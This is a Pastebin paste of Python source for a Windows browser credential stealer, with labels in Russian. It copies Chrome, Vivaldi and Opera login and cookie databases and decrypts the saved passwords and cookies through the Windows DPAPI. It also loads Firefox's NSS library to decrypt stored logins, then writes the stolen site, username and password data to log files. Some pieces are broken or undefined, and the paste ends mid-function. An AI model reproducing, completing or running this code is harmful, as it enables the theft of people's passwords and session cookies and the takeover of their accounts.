Advertisement
Guest User

Untitled

a guest
Sep 15th, 2018
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 24.83 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import argparse
  4. import csv
  5. import ctypes as ct
  6. import json
  7. import logging
  8. import os
  9. import sqlite3
  10. import sys
  11. from base64 import b64decode
  12. from getpass import getpass
  13. from subprocess import PIPE, Popen
  14. from subprocess import DEVNULL
  15. from urllib.parse import urlparse
  16. from configparser import ConfigParser
  17.  
  18. import sqlite3, sys, os
  19. from re import findall
  20. from zipfile import ZipFile, ZIP_DEFLATED
  21. from shutil import copy2
  22.  
  23. from ctypes.wintypes import *
  24. from ctypes import *
  25. import winreg
  26. import os
  27.  
  28. LPTSTR                  = LPSTR
  29. LPCTSTR                 = LPSTR
  30. PHANDLE                 = POINTER(HANDLE)
  31. HANDLE                  = LPVOID
  32. LPDWORD                 = POINTER(DWORD)
  33. PVOID                   = c_void_p
  34. INVALID_HANDLE_VALUE    = c_void_p(-1).value
  35. NTSTATUS                = ULONG()
  36. PWSTR                   = c_wchar_p
  37. LPWSTR                  = c_wchar_p
  38. PBYTE                   = POINTER(BYTE)
  39. LPBYTE                  = POINTER(BYTE)
  40. PSID                    = PVOID
  41. LONG                    = c_long
  42. WORD                    = c_uint16
  43.  
  44. CRYPTPROTECT_UI_FORBIDDEN           = 0x01
  45. CRED_TYPE_GENERIC                   = 0x1
  46. CRED_TYPE_DOMAIN_VISIBLE_PASSWORD   = 0x4
  47. HKEY_CURRENT_USER                   = -2147483647
  48. HKEY_LOCAL_MACHINE                  = -2147483646
  49. KEY_READ                            = 131097
  50. KEY_ENUMERATE_SUB_KEYS              = 8
  51. KEY_QUERY_VALUE                     = 1
  52.  
  53. ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE
  54.  
  55. PROCESS_QUERY_INFORMATION   = 0x0400
  56. STANDARD_RIGHTS_REQUIRED    = 0x000F0000
  57. READ_CONTROL                = 0x00020000
  58. STANDARD_RIGHTS_READ        = READ_CONTROL
  59. TOKEN_ASSIGN_PRIMARY        = 0x0001
  60. TOKEN_DUPLICATE             = 0x0002
  61. TOKEN_IMPERSONATE           = 0x0004
  62. TOKEN_QUERY                 = 0x0008
  63. TOKEN_QUERY_SOURCE          = 0x0010
  64. TOKEN_ADJUST_PRIVILEGES     = 0x0020
  65. TOKEN_ADJUST_GROUPS         = 0x0040
  66. TOKEN_ADJUST_DEFAULT        = 0x0080
  67. TOKEN_ADJUST_SESSIONID      = 0x0100
  68. TOKEN_READ                  = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
  69. tokenprivs                  = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))
  70. TOKEN_ALL_ACCESS            = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
  71.         TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
  72.         TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
  73.         TOKEN_ADJUST_SESSIONID)
  74.  
  75. class CREDENTIAL_ATTRIBUTE(Structure):
  76.     _fields_ = [
  77.         ('Keyword', LPSTR),
  78.         ('Flags', DWORD),
  79.         ('ValueSize', DWORD),
  80.         ('Value', LPBYTE)
  81.     ]
  82. PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)
  83.  
  84. class CREDENTIAL(Structure):
  85.     _fields_ = [
  86.         ('Flags', DWORD),
  87.         ('Type', DWORD),
  88.         ('TargetName', LPSTR),
  89.         ('Comment', LPSTR),
  90.         ('LastWritten', FILETIME),
  91.         ('CredentialBlobSize', DWORD),
  92.         ('CredentialBlob', POINTER(c_char)),
  93.         ('Persist', DWORD),
  94.         ('AttributeCount', DWORD),
  95.         ('Attributes', PCREDENTIAL_ATTRIBUTE),
  96.         ('TargetAlias', LPSTR),
  97.         ('UserName', LPSTR)
  98.     ]
  99. PCREDENTIAL = POINTER(CREDENTIAL)
  100.  
  101. class DATA_BLOB(Structure):
  102.     _fields_ = [
  103.         ('cbData', DWORD),
  104.         ('pbData', POINTER(c_char))
  105.     ]
  106.  
  107. class GUID(Structure):
  108.     _fields_ = [
  109.         ("data1", DWORD),
  110.         ("data2", WORD),
  111.         ("data3", WORD),
  112.         ("data4", BYTE * 6)
  113.     ]
  114. LPGUID = POINTER(GUID)
  115.  
  116. class VAULT_CREDENTIAL_ATTRIBUTEW(Structure):
  117.     _fields_ = [
  118.         ('keyword',         LPWSTR),
  119.         ('flags',           DWORD),
  120.         ('badAlign',        DWORD),
  121.         ('valueSize',       DWORD),
  122.         ('value',           LPBYTE),
  123.     ]
  124. PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)
  125.  
  126. class VAULT_BYTE_BUFFER(Structure):
  127.     _fields_ = [
  128.         ('length',      DWORD),
  129.         ('value',       PBYTE),
  130.     ]
  131.  
  132. class DATA(Structure):
  133.     _fields_ = [
  134.         ('guid',            GUID),
  135.         ('string',          LPWSTR),
  136.         ('byteArray',       VAULT_BYTE_BUFFER),
  137.         ('protectedArray',  VAULT_BYTE_BUFFER),
  138.         ('attribute',       PVAULT_CREDENTIAL_ATTRIBUTEW),
  139.         ('sid',             DWORD)
  140.     ]
  141.  
  142. class Flag(Structure):
  143.     _fields_ = [
  144.         ('0x00', DWORD),
  145.         ('0x01', DWORD),
  146.         ('0x02', DWORD),
  147.         ('0x03', DWORD),
  148.         ('0x04', DWORD),
  149.         ('0x05', DWORD),
  150.         ('0x06', DWORD),
  151.         ('0x07', DWORD),
  152.         ('0x08', DWORD),
  153.         ('0x09', DWORD),
  154.         ('0x0a', DWORD),
  155.         ('0x0b', DWORD),
  156.         ('0x0c', DWORD),
  157.         ('0x0d', DWORD)
  158.     ]
  159.  
  160. class VAULT_ITEM_DATA(Structure):
  161.     _fields_ = [
  162.         ('data',                DATA),
  163.     ]
  164. PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)
  165.  
  166. class VAULT_ITEM_WIN8(Structure):
  167.     _fields_ = [
  168.         ('id',              GUID),
  169.         ('pName',           PWSTR),
  170.         ('pResource',       PVAULT_ITEM_DATA),
  171.         ('pUsername',       PVAULT_ITEM_DATA),
  172.         ('pPassword',       PVAULT_ITEM_DATA),
  173.         ('unknown0',        PVAULT_ITEM_DATA),
  174.         ('LastWritten',     FILETIME),
  175.         ('Flags',           DWORD),
  176.         ('cbProperties',    DWORD),
  177.         ('Properties',      PVAULT_ITEM_DATA),
  178.     ]
  179. PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)
  180.  
  181. class OSVERSIONINFOEXW(Structure):
  182.     _fields_ = [
  183.         ('dwOSVersionInfoSize', c_ulong),
  184.         ('dwMajorVersion', c_ulong),
  185.         ('dwMinorVersion', c_ulong),
  186.         ('dwBuildNumber', c_ulong),
  187.         ('dwPlatformId', c_ulong),
  188.         ('szCSDVersion', c_wchar*128),
  189.         ('wServicePackMajor', c_ushort),
  190.         ('wServicePackMinor', c_ushort),
  191.         ('wSuiteMask', c_ushort),
  192.         ('wProductType', c_byte),
  193.         ('wReserved', c_byte)
  194.     ]
  195.  
  196. class CRYPTPROTECT_PROMPTSTRUCT(Structure):
  197.     _fields_ = [
  198.         ('cbSize',          DWORD),
  199.         ('dwPromptFlags',   DWORD),
  200.         ('hwndApp',         HWND),
  201.         ('szPrompt',        LPCWSTR),
  202.     ]
  203. PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
  204.  
  205. class LUID(Structure):
  206.     _fields_ = [
  207.         ("LowPart",     DWORD),
  208.         ("HighPart",    LONG),
  209.     ]
  210. PLUID = POINTER(LUID)
  211.  
  212. class SID_AND_ATTRIBUTES(Structure):
  213.     _fields_ = [
  214.         ("Sid",         PSID),
  215.         ("Attributes",  DWORD),
  216.     ]
  217.  
  218. class TOKEN_USER(Structure):
  219.     _fields_ = [
  220.         ("User", SID_AND_ATTRIBUTES),]
  221.  
  222. class LUID_AND_ATTRIBUTES(Structure):
  223.     _fields_ = [
  224.         ("Luid",        LUID),
  225.         ("Attributes",  DWORD),
  226.     ]
  227.  
  228. class TOKEN_PRIVILEGES(Structure):
  229.     _fields_ = [
  230.         ("PrivilegeCount",  DWORD),
  231.         ("Privileges",      LUID_AND_ATTRIBUTES),
  232.     ]
  233. PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
  234.  
  235. class SECURITY_ATTRIBUTES(Structure):
  236.     _fields_ = [
  237.         ("nLength",                     DWORD),
  238.         ("lpSecurityDescriptor",        LPVOID),
  239.         ("bInheritHandle",              BOOL),
  240.     ]
  241. PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
  242.  
  243. advapi32    = WinDLL('advapi32',    use_last_error=True)
  244. crypt32     = WinDLL('crypt32',     use_last_error=True)
  245. kernel32    = WinDLL('kernel32',    use_last_error=True)
  246.  
  247. RevertToSelf                    = advapi32.RevertToSelf
  248. RevertToSelf.restype            = BOOL
  249. RevertToSelf.argtypes           = []
  250.  
  251. ImpersonateLoggedOnUser         = advapi32.ImpersonateLoggedOnUser
  252. ImpersonateLoggedOnUser.restype = BOOL
  253. ImpersonateLoggedOnUser.argtypes= [HANDLE]
  254.  
  255. DuplicateTokenEx                = advapi32.DuplicateTokenEx
  256. DuplicateTokenEx.restype        = BOOL
  257. DuplicateTokenEx.argtypes       = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]
  258.  
  259. AdjustTokenPrivileges           = advapi32.AdjustTokenPrivileges
  260. AdjustTokenPrivileges.restype   = BOOL
  261. AdjustTokenPrivileges.argtypes  = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]
  262.  
  263. LookupPrivilegeValueA           = advapi32.LookupPrivilegeValueA
  264. LookupPrivilegeValueA.restype   = BOOL
  265. LookupPrivilegeValueA.argtypes  = [LPCTSTR, LPCTSTR, PLUID]
  266.  
  267. ConvertSidToStringSidA          = advapi32.ConvertSidToStringSidA
  268. ConvertSidToStringSidA.restype  = BOOL
  269. ConvertSidToStringSidA.argtypes = [DWORD, POINTER(LPTSTR)]
  270.  
  271. LocalAlloc                      = kernel32.LocalAlloc
  272. LocalAlloc.restype              = HANDLE
  273. LocalAlloc.argtypes             = [PSID, DWORD]
  274.  
  275. GetTokenInformation             = advapi32.GetTokenInformation
  276. GetTokenInformation.restype     = BOOL
  277. GetTokenInformation.argtypes    = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]
  278.  
  279. OpenProcess                     = kernel32.OpenProcess
  280. OpenProcess.restype             = HANDLE
  281. OpenProcess.argtypes            = [DWORD, BOOL, DWORD]
  282.  
  283. OpenProcessToken                = advapi32.OpenProcessToken
  284. OpenProcessToken.restype        = BOOL
  285. OpenProcessToken.argtypes       = [HANDLE, DWORD, POINTER(HANDLE)]
  286.  
  287. CloseHandle                     = kernel32.CloseHandle
  288. CloseHandle.restype             = BOOL
  289. CloseHandle.argtypes            = [HANDLE]
  290.  
  291. CredEnumerate                   = advapi32.CredEnumerateA
  292. CredEnumerate.restype           = BOOL
  293. CredEnumerate.argtypes          = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]
  294.  
  295. CredFree                        = advapi32.CredFree
  296. CredFree.restype                = PVOID
  297. CredFree.argtypes               = [PVOID]
  298.  
  299. memcpy                          = cdll.msvcrt.memcpy
  300. memcpy.restype                  = PVOID
  301. memcpy.argtypes                 = [PVOID]
  302.  
  303. LocalFree                       = kernel32.LocalFree
  304. LocalFree.restype               = HANDLE
  305. LocalFree.argtypes              = [HANDLE]
  306.  
  307. CryptUnprotectData              = crypt32.CryptUnprotectData
  308. CryptUnprotectData.restype      = BOOL
  309. CryptUnprotectData.argtypes     = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]
  310.  
  311. try:
  312.     prototype                       = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))
  313.     vaultEnumerateVaults            = prototype(("VaultEnumerateVaults", windll.vaultcli))
  314.  
  315.     prototype                       = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)
  316.     vaultOpenVault                  = prototype(("VaultOpenVault", windll.vaultcli))
  317.  
  318.     prototype                       = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))
  319.     vaultEnumerateItems             = prototype(("VaultEnumerateItems", windll.vaultcli))
  320.  
  321.     prototype                       = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN8))
  322.     vaultGetItem8                   = prototype(("VaultGetItem", windll.vaultcli))
  323.  
  324.     prototype                       = WINFUNCTYPE(ULONG, LPVOID)
  325.     vaultFree                       = prototype(("VaultFree", windll.vaultcli))
  326.  
  327.     prototype                       = WINFUNCTYPE(ULONG, PHANDLE)
  328.     vaultCloseVault                 = prototype(("VaultCloseVault", windll.vaultcli))
  329. except:
  330.     pass
  331.  
  332. def getData(blobOut):
  333.         cbData = int(blobOut.cbData)
  334.         pbData = blobOut.pbData
  335.         buffer = c_buffer(cbData)
  336.        
  337.         memcpy(buffer, pbData, cbData)
  338.         LocalFree(pbData);
  339.         return buffer.raw
  340.  
  341. def Win32CryptUnprotectData(cipherText, entropy=None):
  342.     bufferIn    = c_buffer((cipherText), len(cipherText))
  343.     blobIn      = DATA_BLOB(len(cipherText), bufferIn)
  344.     blobOut     = DATA_BLOB()
  345.  
  346.     if entropy:
  347.         bufferEntropy   = c_buffer(entropy, len(entropy))
  348.         blobEntropy     = DATA_BLOB(len(entropy), bufferEntropy)
  349.  
  350.         if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):
  351.             return (getData(blobOut))
  352.         else:
  353.             return (False)
  354.    
  355.     else:
  356.         if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
  357.             return (getData(blobOut))
  358.         else:
  359.             return (False)
  360.  
  361. def get_os_version():
  362.     os_version = OSVERSIONINFOEXW()
  363.     os_version.dwOSVersionInfoSize = sizeof(os_version)
  364.     retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
  365.     if retcode != 0:
  366.         return False
  367.  
  368.     return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
  369.  
  370.  
  371. def isx64machine():
  372.     archi = os.environ.get("PROCESSOR_ARCHITEW6432", '')
  373.     if '64' in archi:
  374.         return True
  375.  
  376.     archi = os.environ.get("PROCESSOR_ARCHITECTURE", '')
  377.     if '64' in archi:
  378.         return True
  379.  
  380.     return False
  381.  
  382. isx64 = isx64machine()
  383.  
  384. def OpenKey(key, path, index=0, access=KEY_READ):
  385.     if isx64:
  386.         return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)
  387.     else:
  388.         return winreg.OpenKey(key, path, index, access)
  389.  
  390.  
  391. pathusr = os.path.expanduser('~')
  392. browser_chrome = [pathusr+"\\AppData\\Local\\Google\\Chrome\\User Data\\",
  393.                   pathusr+"\\AppData\\Local\\Vivaldi\\User Data\\",
  394.                   pathusr+"\\AppData\\Roaming\\Opera Software\\"]
  395. profiles_chrome = ["Profile 1\\", "Profile 2\\", "Profile 3\\", "Default\\"]
  396.  
  397. db = pathusr + "\\db1.sqlite3"
  398. db2 = pathusr + "\\db2.sqlite3"
  399.  
  400. def check_exists(file):
  401.     if os.path.exists(file):
  402.         return True
  403.     else:
  404.         return False
  405.  
  406. def login_chrome(file):
  407.     logindata = "============логины=============\r\n"
  408.     copy2(file, db)
  409.     con = sqlite3.connect(db)
  410.     cursor = con.cursor()
  411.     cursor.execute("SELECT origin_url, username_value, password_value from logins;")
  412.     for log in cursor.fetchall():
  413.         password = Win32CryptUnprotectData(log[2]).decode("utf-8")
  414.         if password is not False:
  415.             logindata += 'САЙТ : ' + str(log[0]) + '\r\n'
  416.             logindata += 'ЛОГ  : ' + str(log[1])  + '\r\n'
  417.             logindata += 'ПАСС : ' + str(password) + '\r\n\r\n'
  418.     return(logindata)
  419.  
  420. def cook_chrome(file):
  421.     cookdata = "============кукисы=============\r\n"
  422.     copy2(file, db2)
  423.     con = sqlite3.connect(db2)
  424.     cursor = con.cursor()
  425.     cursor.execute("SELECT host_key, name, value, path, last_access_utc, encrypted_value FROM cookies;")
  426.     for host_key, name, value, path, last_access_utc, encrypted_value in cursor.fetchall():
  427.         decrypted = Win32CryptUnprotectData(encrypted_value).decode("utf-8") or value or 0
  428.         if decrypted is not False:
  429.             cookdata += str(host_key) + "\tTRUE\t" + "/" + '\tFALSE\t' + str(last_access_utc) + '\t' + str(name) + '\t' + str(decrypted) + '\n'
  430.     return(cookdata)
  431.  
  432. def getXpom():
  433.     logindata = ""
  434.     cookdata = ""
  435.     for folder in browser_chrome:
  436.         if check_exists(folder):
  437.             for prof in profiles_chrome:
  438.                 if check_exists(folder + prof):
  439.                     if check_exists(folder + prof + "\\Login Data"):
  440.                         logindata += login_chrome(folder + prof + "\\Login Data")
  441.                     if check_exists(folder + prof + "\\Cookies"):
  442.                         cookdata += cook_chrome(folder + prof + "\\Cookies")
  443.    
  444.     with open("logs//XromiumLogins.txt", "w") as file:
  445.         file.write(logindata)
  446.  
  447.     with open("logs//XromiumCookies.txt", "w") as file:
  448.         file.write(cookdata)
  449.  
  450.     return 0
  451.  
  452. SYS_ENCODING = "cp1252"
  453. LIB_ENCODING = "utf8"
  454. USR_ENCODING = sys.stdin.encoding or sys.stdout.encoding or "utf8"
  455.  
  456. def py2_decode(_bytes, encoding=USR_ENCODING):
  457.     return _bytes
  458.  
  459. def py2_encode(_unicode, encoding=USR_ENCODING):
  460.     return _unicode
  461.  
  462. def type_decode(encoding):
  463.     return lambda x: py2_decode(x, encoding)
  464.  
  465. def get_version():
  466.     def internal_version():
  467.         return '.'.join(map(str, __version_info__))
  468.  
  469. class NotFoundError(Exception):
  470.     pass
  471.  
  472. class Credentials(object):
  473.     def __init__(self, db):
  474.         self.db = db
  475.         if not os.path.isfile(db):
  476.             raise NotFoundError("ERROR - {0} database not found\n".format(db))
  477.  
  478.     def __iter__(self):
  479.         pass
  480.  
  481.     def done(self):
  482.         pass
  483.  
  484. class SqliteCredentials(Credentials):
  485.     def __init__(self, profile):
  486.         db = os.path.join(profile, "signons.sqlite")
  487.         super(SqliteCredentials, self).__init__(db)
  488.         self.conn = sqlite3.connect(db)
  489.         self.c = self.conn.cursor()
  490.  
  491.     def __iter__(self):
  492.         self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword, encType FROM moz_logins")
  493.         for i in self.c:
  494.             yield i
  495.  
  496.     def done(self):
  497.         super(SqliteCredentials, self).done()
  498.         self.c.close()
  499.         self.conn.close()
  500.  
  501.  
  502. class JsonCredentials(Credentials):
  503.     def __init__(self, profile):
  504.         db = os.path.join(profile, "logins.json")
  505.         super(JsonCredentials, self).__init__(db)
  506.  
  507.     def __iter__(self):
  508.         with open(self.db) as fh:
  509.             data = json.load(fh)
  510.             try:
  511.                 logins = data["logins"]
  512.             except Exception:
  513.                 raise Exit(Exit.BAD_SECRETS)
  514.             for i in logins:
  515.                 yield (i["hostname"], i["encryptedUsername"], i["encryptedPassword"], i["encType"])
  516.  
  517.  
  518. class NSSDecoder(object):
  519.     class SECItem(ct.Structure):
  520.         _fields_ = [
  521.             ('type', ct.c_uint),
  522.             ('data', ct.c_char_p),
  523.             ('len', ct.c_uint),
  524.         ]
  525.  
  526.     class PK11SlotInfo(ct.Structure):
  527.         pass
  528.  
  529.     def __init__(self):
  530.         self.NSS = None
  531.         self.load_libnss()
  532.         SlotInfoPtr = ct.POINTER(self.PK11SlotInfo)
  533.         SECItemPtr = ct.POINTER(self.SECItem)
  534.         self._set_ctypes(ct.c_int, "NSS_Init", ct.c_char_p)
  535.         self._set_ctypes(ct.c_int, "NSS_Shutdown")
  536.         self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot")
  537.         self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr)
  538.         self._set_ctypes(ct.c_int, "PK11_CheckUserPassword", SlotInfoPtr, ct.c_char_p)
  539.         self._set_ctypes(ct.c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, ct.c_void_p)
  540.         self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, ct.c_int)
  541.         self._set_ctypes(ct.c_int, "PORT_GetError")
  542.         self._set_ctypes(ct.c_char_p, "PR_ErrorToName", ct.c_int)
  543.         self._set_ctypes(ct.c_char_p, "PR_ErrorToString", ct.c_int, ct.c_uint32)
  544.  
  545.     def _set_ctypes(self, restype, name, *argtypes):
  546.         res = getattr(self.NSS, name)
  547.         res.restype = restype
  548.         res.argtypes = argtypes
  549.         setattr(self, "_" + name, res)
  550.  
  551.     @staticmethod
  552.     def find_nss(locations, nssname):
  553.         fail_errors = []
  554.         for loc in locations:
  555.             nsslib = os.path.join(loc, nssname)
  556.             if os.name == "nt":
  557.                 os.environ["PATH"] = ';'.join([loc, os.environ["PATH"]])
  558.                 if loc:
  559.                     if not os.path.isdir(loc):
  560.                         continue
  561.                     workdir = os.getcwd()
  562.                     os.chdir(loc)
  563.             try:
  564.                 nss = ct.CDLL(nsslib)
  565.             except OSError as e:
  566.                 fail_errors.append((nsslib, str(e)))
  567.             else:
  568.                 return nss
  569.             finally:
  570.                 if os.name == "nt" and loc:
  571.                     os.chdir(workdir)
  572.         else:
  573.             for target, error in fail_errors:
  574.                 pass
  575.             raise Exit(Exit.FAIL_LOCATE_NSS)
  576.  
  577.     def load_libnss(self):
  578.         nssname = "nss3.dll"
  579.         locations = (
  580.             "",
  581.             r"C:\Program Files (x86)\Mozilla Firefox",
  582.             r"C:\Program Files\Mozilla Firefox",
  583.             r"C:\Program Files (x86)\Nightly",
  584.             r"C:\Program Files\Nightly",
  585.            
  586.         )
  587.  
  588.         self.NSS = self.find_nss(locations, nssname)
  589.  
  590.     def handle_error(self):
  591.         code = self._PORT_GetError()
  592.         name = self._PR_ErrorToName(code)
  593.         name = "NULL" if name is None else name.decode(SYS_ENCODING)
  594.         text = self._PR_ErrorToString(code, 0)
  595.         text = text.decode(SYS_ENCODING)
  596.  
  597.     def decode(self, data64):
  598.         data = b64decode(data64)
  599.         inp = self.SECItem(0, data, len(data))
  600.         out = self.SECItem(0, None, 0)
  601.         e = self._PK11SDR_Decrypt(inp, out, None)
  602.         try:
  603.             if e == -1:
  604.                 self.handle_error()
  605.                 raise Exit(Exit.NEED_MASTER_PASSWORD)
  606.             res = ct.string_at(out.data, out.len).decode(LIB_ENCODING)
  607.         finally:
  608.             self._SECITEM_ZfreeItem(out, 0)
  609.         return res
  610.  
  611. class NSSInteraction(object):
  612.     def __init__(self):
  613.         self.profile = None
  614.         self.NSS = NSSDecoder()
  615.     def load_profile(self, profile):
  616.         self.profile = profile
  617.         profile = profile.encode(LIB_ENCODING)
  618.         e = self.NSS._NSS_Init(b"sql:" + profile)
  619.         if e != 0:
  620.             self.NSS.handle_error()
  621.             raise Exit(Exit.FAIL_INIT_NSS)
  622.  
  623.     def authenticate(self, interactive):
  624.         keyslot = self.NSS._PK11_GetInternalKeySlot()
  625.         if not keyslot:
  626.             self.NSS.handle_error()
  627.             raise Exit(Exit.FAIL_NSS_KEYSLOT)
  628.         try:
  629.             password = ""
  630.             if password:
  631.                 e = self.NSS._PK11_CheckUserPassword(keyslot, password.encode(LIB_ENCODING))
  632.                 if e != 0:
  633.                     self.NSS.handle_error()
  634.                     raise Exit(Exit.BAD_MASTER_PASSWORD)
  635.             else:
  636.                 pass
  637.         finally:
  638.             self.NSS._PK11_FreeSlot(keyslot)
  639.  
  640.     def unload_profile(self):
  641.         e = self.NSS._NSS_Shutdown()
  642.         if e != 0:
  643.             self.NSS.handle_error()
  644.             raise Exit(Exit.FAIL_SHUTDOWN_NSS)
  645.  
  646.     def decode_entry(self, user64, passw64):
  647.         user = self.NSS.decode(user64)
  648.         passw = self.NSS.decode(passw64)
  649.         return user, passw
  650.  
  651.     def decrypt_passwords(self, export, output_format="human", csv_delimiter=";", csv_quotechar="|"):
  652.         got_password = False
  653.         header = True
  654.         credentials = obtain_credentials(self.profile)
  655.         to_export = {}
  656.  
  657.         global logindata
  658.         logindata = "============логины=============\r\n"
  659.  
  660.         for url, user, passw, enctype in credentials:
  661.             got_password = True
  662.             if enctype:
  663.                 user, passw = self.decode_entry(user, passw)
  664.  
  665.             if export:
  666.                 address = urlparse(url)
  667.  
  668.                 if address.netloc not in to_export:
  669.                     to_export[address.netloc] = {user: passw}
  670.                 else:
  671.                     to_export[address.netloc][user] = passw
  672.  
  673.             logindata += 'САЙТ : ' + str(url) + '\r\n'
  674.             logindata += 'ЛОГ  : ' + str(user)  + '\r\n'
  675.             logindata += 'ПАСС : ' + str(passw) + '\r\n\r\n'
  676.  
  677.         credentials.done()
  678.         if not got_password:
  679.             pass
  680.         if export:
  681.             return to_export
  682.  
  683. def obtain_credentials(profile):
  684.     try:
  685.         credentials = JsonCredentials(profile)
  686.     except NotFoundError:
  687.         try:
  688.             credentials = SqliteCredentials(profile)
  689.         except NotFoundError:
  690.             raise Exit(Exit.MISSING_SECRETS)
  691.     return credentials
  692.  
  693.  
  694. def export_pass(to_export, pass_cmd, prefix, username_prefix):
  695.     if prefix:
  696.         prefix = u"{0}/".format(prefix)
  697.  
  698.     for address in to_export:
  699.         for user, passw in to_export[address].items():
  700.             if len(to_export[address]) > 1:
  701.                 passname = u"{0}{1}/{2}".format(prefix, address, user)
  702.             else:
  703.                 passname = u"{0}{1}".format(prefix, address)
  704.             data = u"{0}\n{1}{2}\n".format(passw, username_prefix, user)
  705.             if p.returncode != 0:
  706.                 raise Exit(Exit.PASSSTORE_ERROR)
  707.  
  708. def get_sections(profiles):
  709.     sections = {}
  710.     i = 1
  711.     for section in profiles.sections():
  712.         if section.startswith("Profile"):
  713.             sections[str(i)] = profiles.get(section, "Path")
  714.             i += 1
  715.         else:
  716.             continue
  717.     return sections
  718.  
  719.  
  720. def print_sections(sections, textIOWrapper=sys.stderr):
  721.     for i in sorted(sections):
  722.         textIOWrapper.write("{0} -> {1}\n".format(i, sections[i]))
  723.     textIOWrapper.flush()
  724.  
  725.  
  726. def ask_section(profiles, choice_arg):
  727.     sections = get_sections(profiles)
  728.     if choice_arg and len(choice_arg) == 1:
  729.         choice = choice_arg[0]
  730.     else:
  731.         if len(sections) == 1:
  732.             choice = "1"
  733.  
  734.         else:
  735.             choice = None
  736.             while choice not in sections:
  737.                 print_sections(sections)
  738.                 try:
  739.                     choice = raw_input()
  740.                 except EOFError:
  741.                     raise Exit(Exit.READ_GOT_EOF)
  742.  
  743.     try:
  744.         final_choice = sections[choice]
  745.     except KeyError:
  746.         raise Exit(Exit.NO_SUCH_PROFILE)
  747.  
  748.     return final_choice
  749.  
  750. def read_profiles(basepath, list_profiles):
  751.     profileini = os.path.join(basepath, "profiles.ini")
  752.     if not os.path.isfile(profileini):
  753.         raise Exit(Exit.MISSING_PROFILEINI)
  754.     profiles = ConfigParser()
  755.     profiles.read(profileini)
  756.     if list_profiles:
  757.         raise Exit(0)
  758.     return profiles
  759.  
  760.  
  761. def get_profile(basepath, interactive, choice, list_profiles):
  762.     try:
  763.         profiles = read_profiles(basepath, list_profiles)
  764.     except Exit as e:
  765.         if e.exitcode == Exit.MISSING_PROFILEINI:
  766.             profile = basepath
  767.  
  768.             if list_profiles:
  769.                 raise
  770.  
  771.             if not os.path.isdir(profile):
  772.                 raise
  773.         else:
  774.             raise
  775.     else:
  776.         if not interactive:
  777.             sections = get_sections(profiles)
  778.  
  779.             if choice and len(choice) == 1:
  780.                 try:
  781.                     section = sections[(choice[0])]
  782.                 except KeyError:
  783.                     raise Exit(Exit.NO_SUCH_PROFILE)
  784.  
  785.             elif len(sections) == 1:
  786.                 section = sections['1']
  787.  
  788.             else:
  789.                 raise Exit(Exit.MISSING_CHOICE)
  790.         else:
  791.             section = ask_section(profiles, choice)
  792.  
  793.         section = py2_decode(section, LIB_ENCODING)
  794.         profile = os.path.join(basepath, section)
  795.  
  796.         if not os.path.isdir(profile):
  797.             raise Exit(Exit.BAD_PROFILEINI)
  798.     return profile
  799.  
  800. def parse_sys_args():
  801.     return args
  802.  
  803. def getFire():
  804.     profile_path = os.path.join(os.environ['APPDATA'], "Mozilla", "Firefox")
  805.     profile = profile_path
  806.     nss = NSSInteraction()
  807.     basepath = os.path.expanduser(profile)
  808.     profile = get_profile(basepath, "", "", "")
  809.     nss.load_profile(profile)
  810.     nss.authenticate("")
  811.     to_export = nss.decrypt_passwords(export=export_pass,)
  812.     nss.unload_profile()
  813.     with open("logs//FoxLogins.txt", "w") as file:
  814.         file.write(logindata)
  815.     return 0
  816.  
  817. def check_exists(file):
  818.     if os.path.exists(file):
  819.         return True
  820.     else:
  821.         return False
  822.  
  823. def get_browsers():
  824.     if check_exists("logs//"):
  825.         pass
  826.     else:
  827.         os.mkdir("logs//")
  828.     try:
  829.         getXpom()
  830.     except Exception as e:
  831.         pass
  832.     try:
  833.         getFire()
